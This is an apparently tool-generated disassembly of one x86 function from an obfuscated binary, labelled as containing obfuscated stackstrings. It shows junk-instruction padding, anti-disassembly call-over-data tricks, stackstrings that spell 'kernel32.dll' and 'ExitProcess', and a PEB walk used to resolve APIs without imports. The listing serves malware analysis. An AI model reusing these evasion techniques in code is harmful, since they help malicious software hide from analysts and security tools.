Function at 0x65016586
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add esp, 4
add edx, 0x43b7
xor edx, 0x167fb
pop edx
mov dword [ebp - 0x27b8], 0xe
push edx
sub edx, 0xe9b
pop edx
push esi
add esi, 0xdad5
pop esi
push ecx
xor ecx, 0xca8f
pop ecx
push ebx
and ebx, 0x5d46
or ebx, 0x129d0
sub ebx, 0x2e99
xor ebx, 0x7afe
pop ebx
mov edx, 1
imul eax, edx, 0
lea ecx, [ebp + eax - 0xdf4]
mov dword [ebp - 0x18f8], ecx
push ecx
or ecx, 0x14aa4
and ecx, 0xf7b2
pop ecx
push edx
sub edx, 0x90b5
and edx, 0xf420
pop edx
push edi
add edi, 0x5834
sub edi, 0x6669
jmp 0x65015e50
pop edi
mov dword [ebp - 0x27bc], 0xffffffff
push edi
call 0x65015e6a
add byte [ebp + 0x37], al
cmp byte [esi - 0x7cbbb7b0], dh
les eax, [eax + ebp*8]
or dword [eax], eax
add byte [eax], al
add byte [esi], bh
inc esp
cmp al, 0x32
push eax
dec edx
aaa
add esp, 4
xor edi, 0x93ab
pop edi
push edi
and edi, 0x9f03
pop edi
mov edx, dword [ebp - 0x484]
mov dword [ebp - 0x5c8], edx
jmp 0x65015eaa
mov eax, dword [ebp - 0x5c8]
add eax, 1
mov dword [ebp - 0x5c8], eax
push edi
xor edi, 0x120ba
xor edi, 0x21fd
pop edi
push ecx
push edx
add esp, 4
add ecx, 0x2d2f
sub ecx, 0xcad5
pop ecx
push ecx
push ecx
add esp, 4
add ecx, 0x11f7
xor ecx, 0x9e64
pop ecx
mov ecx, dword [ebp - 0x5c8]
sub ecx, dword [ebp - 0x484]
cmp ecx, 0xffffffff
jb 0x65015f24
push esi
push ebx
add esp, 4
xor esi, 0x998f
add esi, 0x14b82
sub esi, 0x8c7d
pop esi
push edi
and edi, 0xcc4b
and edi, 0x1769f
pop edi
push edi
push eax
add esp, 4
or edi, 0x17772
pop edi
jmp 0x65016152
mov dword [ebp - 0xe98], 7
mov edx, dword [ebp - 0x5c8]
mov dword [ebp - 0xc30], edx
push esi
push edx
add esp, 4
call 0x65015f4b
add byte [eax], bh
dec eax
cmp byte [edi + 0x46], al
dec edx
add esp, 4
pop esi
push esi
push edi
add esp, 4
or esi, 0xd215
call 0x65015f68
add byte [esi], dh
push eax
inc esp
inc esi
dec ebx
cmp dword [ecx + 0x45], eax
add esp, 4
pop esi
mov eax, dword [ebp - 0x18f8]
mov dword [ebp - 0xc2c], eax
mov dword [ebp - 0xe9c], 0
mov ecx, dword [ebp - 0x5c8]
cmp ecx, dword [ebp - 0x18f8]
jne 0x65015fd3
push edi
push ebx
add esp, 4
and edi, 0x168d8
pop edi
push esi
xor esi, 0x33d1
or esi, 0xaf1a
call 0x65015fb8
add byte [eax + 0x42], cl
inc esp
cmp al, byte [esp + eax*2 + 0x32]
push eax
add esp, 4
sub esi, 0x8f38
pop esi
mov edx, dword [ebp - 0xe9c]
mov dword [ebp - 0x1900], edx
jmp 0x65016104
cmp dword [ebp - 0xe98], 0
jle 0x650160f8
push edi
and edi, 0xce22
call 0x65015ff7
add byte [esi + ecx*2 + 0x46], al
dec esi
inc esp
xor eax, 0x3944503e
add esp, 4
sub edi, 0x11fd
or edi, 0x12a06
pop edi
push eax
push ebx
add esp, 4
jmp 0x65016011
pop eax
mov eax, dword [ebp - 0xc30]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xc2c]
movzx eax, byte [edx]
cmp ecx, eax
je 0x65016094
push ecx
sub ecx, 0xb32c
call 0x6501603f
add byte [0x47423935], dh
dec esi
xor al, byte [ecx + 0x3a]
xor al, byte [ebx + 0x9e804c4]
add byte [eax], al
add byte [eax], al
inc esi
cmp ecx, dword [ebx + 0x4f]
inc ebp
dec edi
xor eax, 0x4c4833e
or ecx, 0xb6b4
pop ecx
mov ecx, dword [ebp - 0xc30]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0xc2c]
movzx ecx, byte [eax]
cmp edx, ecx
jle 0x6501607c
mov dword [ebp - 0x18fc], 1
jmp 0x65016086
mov dword [ebp - 0x18fc], 0xffffffff
mov edx, dword [ebp - 0x18fc]
mov dword [ebp - 0xe9c], edx
jmp 0x650160f8
push eax
add eax, 0x9341
sub eax, 0x2aa2
pop eax
push edi
jmp 0x650160a9
sub edi, 0x61b6
pop edi
push eax
push ebx
add esp, 4
jmp 0x650160ba
jmp 0x650160bf
and eax, 0x4e81
pop eax
mov eax, dword [ebp - 0xe98]
sub eax, 1
mov dword [ebp - 0xe98], eax
mov ecx, dword [ebp - 0xc30]
add ecx, 1
mov dword [ebp - 0xc30], ecx
mov edx, dword [ebp - 0xc2c]
add edx, 1
mov dword [ebp - 0xc2c], edx
jmp 0x65015fd3
mov eax, dword [ebp - 0xe9c]
mov dword [ebp - 0x1900], eax
cmp dword [ebp - 0x1900], 0
jne 0x6501614d
push eax
jmp 0x65016117
sub eax, 0x16e83
jmp 0x65016126
pop eax
push esi
push esi
add esp, 4
or esi, 0xcacd
add esi, 0xe233
sub esi, 0x138a4
pop esi
mov ecx, dword [ebp - 0x5c8]
mov dword [ebp - 0x494], ecx
jmp 0x6501618e
jmp 0x65015e9b
push ebx
sub ebx, 0x1ae0
and ebx, 0x10567
sub ebx, 0x10ac6
pop ebx
push eax
or eax, 0xa1f
jmp 0x65016175
jmp 0x6501617c
jmp 0x65016183
pop eax
mov dword [ebp - 0x494], 0
push eax
push edx
add esp, 4
call 0x6501619f
add byte [0x3739423d], bh
cmp eax, dword [ebx + 0x525804c4]
jmp 0x650161ac
jmp 0x650161b3
pop edx
push eax
push edi
add esp, 4
and eax, 0x161ab
pop eax
push ebx
push ecx
add esp, 4
and ebx, 0xc216
or ebx, 0x17580
add ebx, 0x11445
and ebx, 0x268c
pop ebx
push ecx
push edx
add esp, 4
and ecx, 0xbd3f
jmp 0x650161f1
pop ecx
mov edx, 1
imul eax, edx, 0
lea ecx, [ebp + eax - 0xdec]
mov dword [ebp - 0x1904], ecx
push ebx
call 0x65016218
add byte [ebx], bh
inc ebx
xor al, 0x49
dec ebp
inc esp
cmp byte [edi], bh
dec esp
add esp, 4
and ebx, 0xc724
call 0x65016230
add byte [eax], bh
inc esi
inc eax
xor edi, dword [ecx]
dec edi
dec eax
dec eax
dec ecx
add esp, 4
jmp 0x65016238
pop ebx
mov dword [ebp - 0x27c0], 0xffffffff
push esi
push eax
add esp, 4
xor esi, 0x9906
jmp 0x65016255
pop esi
push edx
call 0x65016263
add byte [eax + ecx*2], dh
cmp eax, 0x833b4c33
les eax, [edx + ebx*2]
push edi
xor edi, 0x14977
add edi, 0x515c
pop edi
mov edx, dword [ebp - 0x484]
mov dword [ebp - 0x5cc], edx
jmp 0x65016292
mov eax, dword [ebp - 0x5cc]
add eax, 1
mov dword [ebp - 0x5cc], eax
push ebx
and ebx, 0xdc6d
pop ebx
push ebx
push esi
add esp, 4
or ebx, 0xfb6e
xor ebx, 0x1fac
or ebx, 0x185d
call 0x650162c0
add byte [edi], dh
inc ebx
inc edx
dec eax
dec edi
cmp eax, 0x8350463e
les eax, [ebx + ebx*2]
mov ecx, dword [ebp - 0x5cc]
sub ecx, dword [ebp - 0x484]
cmp ecx, 0xffffffff
jb 0x6501630c
push ecx
push eax
add esp, 4
add ecx, 0x9c1e
or ecx, 0x1498
and ecx, 0x127b8
pop ecx
push edi
push edx
add esp, 4
add edi, 0x18012
pop edi
push eax
and eax, 0xb053
xor eax, 0x14597
pop eax
jmp 0x6501653a
mov dword [ebp - 0xea0], 7
mov edx, dword [ebp - 0x5cc]
mov dword [ebp - 0xc28], edx
push ecx
push edx
add esp, 4
and ecx, 0xcf5b
call 0x6501633c
add byte [edx + 0x39], cl
dec esi
inc eax
inc edi
inc ebx
dec esp
cmp al, 0x35
add esp, 4
pop ecx
push eax
or eax, 0x11bc8
or eax, 0xafd4
and eax, 0xf735
pop eax
mov eax, dword [ebp - 0x1904]
mov dword [ebp - 0xc24], eax
mov dword [ebp - 0xea4], 0
mov ecx, dword [ebp - 0x5cc]
cmp ecx, dword [ebp - 0x1904]
jne 0x650163bb
push edi
push edi
add esp, 4
and edi, 0x27fc
xor edi, 0xff82
pop edi
push esi
push eax
add esp, 4
add esi, 0xe9e2
or esi, 0x15748
jmp 0x650163a3
xor esi, 0x10353
pop esi
mov edx, dword [ebp - 0xea4]
mov dword [ebp - 0x1908], edx
jmp 0x650164ec
cmp dword [ebp - 0xea0], 0
jle 0x650164e0
push edx
and edx, 0x1ba3
or edx, 0x1c7c
sub edx, 0x175c9
pop edx
push edi
push eax
add esp, 4
add edi, 0x1350a
call 0x650163f6
add byte [edi + 0x36], cl
xor al, 0x46
xor eax, 0x3432413c
add esp, 4
pop edi
mov eax, dword [ebp - 0xc28]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xc24]
movzx eax, byte [edx]
cmp ecx, eax
je 0x6501647c
push edx
add edx, 0x1869d
xor edx, 0x75e5
sub edx, 0x379c
sub edx, 0xabc1
pop edx
push esi
push ebx
add esp, 4
and esi, 0xdd99
sub esi, 0x39ff
xor esi, 0xeea4
pop esi
mov ecx, dword [ebp - 0xc28]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0xc24]
movzx ecx, byte [eax]
cmp edx, ecx
jle 0x65016464
mov dword [ebp - 0x18d0], 1
jmp 0x6501646e
mov dword [ebp - 0x18d0], 0xffffffff
mov edx, dword [ebp - 0x18d0]
mov dword [ebp - 0xea4], edx
jmp 0x650164e0
push eax
call 0x6501648a
add byte [edx], dh
inc edi
xor al, 0x46
cmp ecx, dword [edx + 0x45]
add esp, 4
call 0x6501649c
add byte [edx + 0x41], cl
xor al, 0x44
cmp eax, 0x473b3b39
add esp, 4
pop eax
push esi
xor esi, 0x52e8
sub esi, 0x4daf
pop esi
mov eax, dword [ebp - 0xea0]
sub eax, 1
mov dword [ebp - 0xea0], eax
mov ecx, dword [ebp - 0xc28]
add ecx, 1
mov dword [ebp - 0xc28], ecx
mov edx, dword [ebp - 0xc24]
add edx, 1
mov dword [ebp - 0xc24], edx
jmp 0x650163bb
mov eax, dword [ebp - 0xea4]
mov dword [ebp - 0x1908], eax
cmp dword [ebp - 0x1908], 0
jne 0x65016535
push esi
xor esi, 0x1789
jmp 0x65016501
or esi, 0x15487
pop esi
push edi
push eax
add esp, 4
jmp 0x65016515
sub edi, 0xce23
sub edi, 0x1278c
jmp 0x65016526
pop edi
mov ecx, dword [ebp - 0x5cc]
mov dword [ebp - 0xc20], ecx
jmp 0x65016576
jmp 0x65016283
push ecx
push edi
add esp, 4
or ecx, 0x71bd
add ecx, 0x6429
add ecx, 0x12115
pop ecx
push ebx
and ebx, 0x9719
or ebx, 0x13d58
pop ebx
push ebx
push ecx
add esp, 4
xor ebx, 0x562e
pop ebx
mov dword [ebp - 0xc20], 0
push ecx
call 0x65016586
add byte [edi], dh
dec esi
dec esp
dec ecx
dec ecx
xor al, 0x83
les eax, [ecx + eax*4]
leave
into
lea eax, [eax]
add byte [ecx + 0xc183e9], al
add byte [ecx + 0x50], bl
push edx
add esp, 4
and eax, 0x1082
add eax, 0x1320d
pop eax
mov byte [ebp - 0x9d8], 0x45
mov byte [ebp - 0x9d7], 0x78
mov byte [ebp - 0x9d6], 0x69
mov byte [ebp - 0x9d5], 0x74
mov byte [ebp - 0x9d4], 0x50
mov byte [ebp - 0x9d3], 0x72
mov byte [ebp - 0x9d2], 0x6f
mov byte [ebp - 0x9d1], 0x63
mov byte [ebp - 0x9d0], 0x65
mov byte [ebp - 0x9cf], 0x73
mov byte [ebp - 0x9ce], 0x73
mov byte [ebp - 0x9cd], 0
push edx
xor edx, 0x154bd
xor edx, 0x14ead
xor edx, 0x170dd
pop edx
push ebx
push ebx
add esp, 4
sub ebx, 0x17f5f
pop ebx
push edi
push edx
add esp, 4
sub edi, 0xc407
and edi, 0xf65c
pop edi
mov edx, 0x6b
mov word [ebp - 0x1a88], dx
mov eax, 0x65
mov word [ebp - 0x1a86], ax
mov ecx, 0x72
mov word [ebp - 0x1a84], cx
mov edx, 0x6e
mov word [ebp - 0x1a82], dx
mov eax, 0x65
mov word [ebp - 0x1a80], ax
mov ecx, 0x6c
mov word [ebp - 0x1a7e], cx
mov edx, 0x33
mov word [ebp - 0x1a7c], dx
mov eax, 0x32
mov word [ebp - 0x1a7a], ax
mov ecx, 0x2e
mov word [ebp - 0x1a78], cx
mov edx, 0x64
mov word [ebp - 0x1a76], dx
mov eax, 0x6c
mov word [ebp - 0x1a74], ax
mov ecx, 0x6c
mov word [ebp - 0x1a72], cx
xor edx, edx
mov word [ebp - 0x1a70], dx
push esi
push esi
add esp, 4
and esi, 0xab55
and esi, 0xf810
xor esi, 0x61a8
pop esi
push ecx
or ecx, 0x18527
xor ecx, 0x98b2
sub ecx, 0x3276
add ecx, 0x62a
pop ecx
push ecx
sub ecx, 0xa790
sub ecx, 0x180a9
xor ecx, 0x2a96
pop ecx
push ebx
push ebx
add esp, 4
sub ebx, 0xcac
call 0x65016727
add byte [esi], bh
dec eax
push eax
cmp byte [esi + 0x34], al
dec ebp
inc ecx
add esp, 4
pop ebx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x26c8], eax
mov ecx, dword [ebp - 0x26c8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x26cc], edx
mov eax, dword [ebp - 0x26cc]
mov dword [ebp - 0x190c], eax
push edx
call 0x65016762
add byte [ecx + 0x49], al
xor bh, byte [0x3841344c]
dec esp
add esp, 4
and edx, 0xc433
call 0x6501677a
add byte [eax + 0x49], cl
xor eax, 0x35423a3e
cmp byte [ebx], dh
add esp, 4
sub edx, 0x12d0a
sub eax, 0x835a0001
mov ebp, 0xffffe6f4
add byte [ebp + 0xf], dh
mov ecx, dword [ebp - 0x190c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xeb0], eax
push edi
push edx
add esp, 4
sub edi, 0x154a1
call 0x650167c6
add byte [0x3a42463d], bh
inc ebp
dec ecx
add esp, 4
call 0x650167d7
add byte [edx + esi + 0x45], cl
xor bh, byte [edi + eax*2]
xor eax, dword [ebx - 0x7d]
les eax, [ebx + ebp*8]
add edx, dword [eax + 0x4b]
dec ebp
pop edi
cmp dword [ebp - 0xeb0], 0
jne 0x650167f8
mov dword [ebp - 0x37c], 0
jmp 0x65016a58
mov ecx, dword [ebp - 0xeb0]
mov dword [ebp - 0x5d0], ecx